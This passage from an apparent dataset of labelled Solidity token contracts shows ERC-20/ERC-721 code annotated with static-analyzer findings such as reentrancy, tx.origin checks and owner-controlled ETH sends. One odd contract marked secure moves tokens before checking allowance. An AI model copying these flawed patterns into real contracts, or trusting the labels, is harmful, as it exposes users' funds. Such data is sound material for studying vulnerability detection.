63ab9b3): ShaneSagarCoin.brief should be constant \n\t// Recommendation for 63ab9b3: Add the 'constant' attribute to state variables that never change.\n uint256 private brief = 16;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 05bd594): ShaneSagarCoin.uniswapV2Pair should be immutable \n\t// Recommendation for 05bd594: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: c77f941): ShaneSagarCoin.name should be constant \n\t// Recommendation for c77f941: Add the 'constant' attribute to state variables that never change.\n string public name = \"Shane Sagar Coin\";\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address tax,\n address sight,\n uint256 row\n ) public returns (bool success) {\n outer(tax, sight, row);\n require(row <= allowance[tax][msg.sender]);\n allowance[tax][msg.sender] -= row;\n return true;\n }\n}",
"file_name": "solidity_code_1949.sol",
"secure": 1,
"size_bytes": 4160
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721URIStorage.sol\" as ERC721URIStorage;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract Janodotpt is ERC721URIStorage, Ownable {\n constructor() ERC721(\"jano.pt\", \"jano.pt\") {}\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9124046): janodotpt.mint(address,string,uint256).tokenURI shadows ERC721URIStorage.tokenURI(uint256) (function) ERC721.tokenURI(uint256) (function) IERC721Metadata.tokenURI(uint256) (function)\n\t// Recommendation for 9124046: Rename the local variables that shadow another component.\n function mint(\n address recipient,\n string memory tokenURI,\n uint256 tokenId\n ) public onlyOwner returns (uint256) {\n _mint(recipient, tokenId);\n\n _setTokenURI(tokenId, tokenURI);\n\n return tokenId;\n }\n}",
"file_name": "solidity_code_195.sol",
"secure": 0,
"size_bytes": 974
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SmarDexProtocol is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 417c4f3): SmarDexProtocol._taxWallet should be immutable \n\t// Recommendation for 417c4f3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f6382b): SmarDexProtocol._initialBuyTax should be constant \n\t// Recommendation for 5f6382b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\t// WARNING Optimization Issue (constable-states | ID: b8e053f): SmarDexProtocol._initialSellTax should be constant \n\t// Recommendation for b8e053f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n uint256 private _finalBuyTax = 2;\n uint256 private _finalSellTax = 2;\n\t// WARNING Optimization Issue (constable-states | ID: aac7c14): SmarDexProtocol._reduceBuyTaxAt should be constant \n\t// Recommendation for aac7c14: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 6;\n\t// WARNING Optimization Issue (constable-states | ID: 522d6f2): SmarDexProtocol._reduceSellTaxAt should be constant \n\t// Recommendation for 522d6f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 6;\n\t// WARNING Optimization Issue (constable-states | ID: db78792): SmarDexProtocol._preventSwapBefore should be constant \n\t// Recommendation for db78792: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"SmarDex Protocol\";\n string private constant _symbol = unicode\"SmarDex\";\n uint256 public _maxTxAmount = 30000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 30000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: bf17a70): SmarDexProtocol._taxSwapThreshold should be constant \n\t// Recommendation for bf17a70: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000001 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: aecccf7): SmarDexProtocol._maxTaxSwap should be constant \n\t// Recommendation for aecccf7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 9900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a87a2b7): SmarDexProtocol.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a87a2b7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 404c436): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 404c436: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6515bb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6515bb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 404c436\n\t\t// reentrancy-benign | ID: 6515bb4\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 404c436\n\t\t// reentrancy-benign | ID: 6515bb4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3029287): SmarDexProtocol._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3029287: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 6515bb4\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 404c436\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 71ea50c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 71ea50c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 2ba27d8): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 2ba27d8: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b6306b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b6306b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 2ba27d8\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 71ea50c\n\t\t\t\t// reentrancy-eth | ID: b6306b0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 71ea50c\n\t\t\t\t\t// reentrancy-eth | ID: b6306b0\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b6306b0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 71ea50c\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: b6306b0\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: b6306b0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 71ea50c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 404c436\n\t\t// reentrancy-events | ID: 71ea50c\n\t\t// reentrancy-benign | ID: 6515bb4\n\t\t// reentrancy-eth | ID: b6306b0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7afc230): SmarDexProtocol.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7afc230: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 404c436\n\t\t// reentrancy-events | ID: 71ea50c\n\t\t// reentrancy-eth | ID: b6306b0\n\t\t// arbitrary-send-eth | ID: 7afc230\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dd06356): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dd06356: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0f58e16): SmarDexProtocol.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0f58e16: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 32ff462): SmarDexProtocol.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 32ff462: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f27cc71): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f27cc71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: dd06356\n\t\t// reentrancy-eth | ID: f27cc71\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: dd06356\n\t\t// unused-return | ID: 32ff462\n\t\t// reentrancy-eth | ID: f27cc71\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: dd06356\n\t\t// unused-return | ID: 0f58e16\n\t\t// reentrancy-eth | ID: f27cc71\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: dd06356\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: f27cc71\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1950.sol",
"secure": 0,
"size_bytes": 17070
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BOMM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 321c723): BOMM._taxWallet should be immutable \n\t// Recommendation for 321c723: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f509a80): BOMM._initialBuyTax should be constant \n\t// Recommendation for f509a80: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 30;\n\t// WARNING Optimization Issue (constable-states | ID: a884158): BOMM._initialSellTax should be constant \n\t// Recommendation for a884158: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\t// WARNING Optimization Issue (constable-states | ID: 88ba2fc): BOMM._finalBuyTax should be constant \n\t// Recommendation for 88ba2fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\t// WARNING Optimization Issue (constable-states | ID: 8e8e73d): BOMM._finalSellTax should be constant \n\t// Recommendation for 8e8e73d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\t// WARNING Optimization Issue (constable-states | ID: c710bad): BOMM._reduceBuyTaxAt should be constant \n\t// Recommendation for c710bad: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\t// WARNING Optimization Issue (constable-states | ID: 82b11d2): BOMM._reduceSellTaxAt should be constant \n\t// Recommendation for 82b11d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\t// WARNING Optimization Issue (constable-states | ID: d00e971): BOMM._preventSwapBefore should be constant \n\t// Recommendation for d00e971: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 10000000 * 10 ** _decimals;\n string private constant _name = unicode\"₿itcoin On My Mind\";\n string private constant _symbol = unicode\"₿OMM\";\n uint256 public _maxTxAmount = 300000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 300000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 456568e): BOMM._taxSwapThreshold should be constant \n\t// Recommendation for 456568e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 105000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 01fbd7a): BOMM._maxTaxSwap should be constant \n\t// Recommendation for 01fbd7a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 630000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 727a362): BOMM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 727a362: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 29268c9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 29268c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 323da84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 323da84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 29268c9\n\t\t// reentrancy-benign | ID: 323da84\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 29268c9\n\t\t// reentrancy-benign | ID: 323da84\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ebd403): BOMM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ebd403: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 323da84\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 29268c9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 501f54c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 501f54c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 8fbfc4e): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 8fbfc4e: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fb108ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fb108ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 8fbfc4e\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 501f54c\n\t\t\t\t// reentrancy-eth | ID: fb108ad\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 501f54c\n\t\t\t\t\t// reentrancy-eth | ID: fb108ad\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fb108ad\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 501f54c\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: fb108ad\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: fb108ad\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 501f54c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 501f54c\n\t\t// reentrancy-events | ID: 29268c9\n\t\t// reentrancy-benign | ID: 323da84\n\t\t// reentrancy-eth | ID: fb108ad\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bb53973): BOMM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for bb53973: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 501f54c\n\t\t// reentrancy-events | ID: 29268c9\n\t\t// reentrancy-eth | ID: fb108ad\n\t\t// arbitrary-send-eth | ID: bb53973\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 229a872): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 229a872: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 99b8a4f): BOMM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 99b8a4f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3598cef): BOMM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3598cef: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4233195): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4233195: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 229a872\n\t\t// reentrancy-eth | ID: 4233195\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 229a872\n\t\t// unused-return | ID: 3598cef\n\t\t// reentrancy-eth | ID: 4233195\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 229a872\n\t\t// unused-return | ID: 99b8a4f\n\t\t// reentrancy-eth | ID: 4233195\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 229a872\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 4233195\n 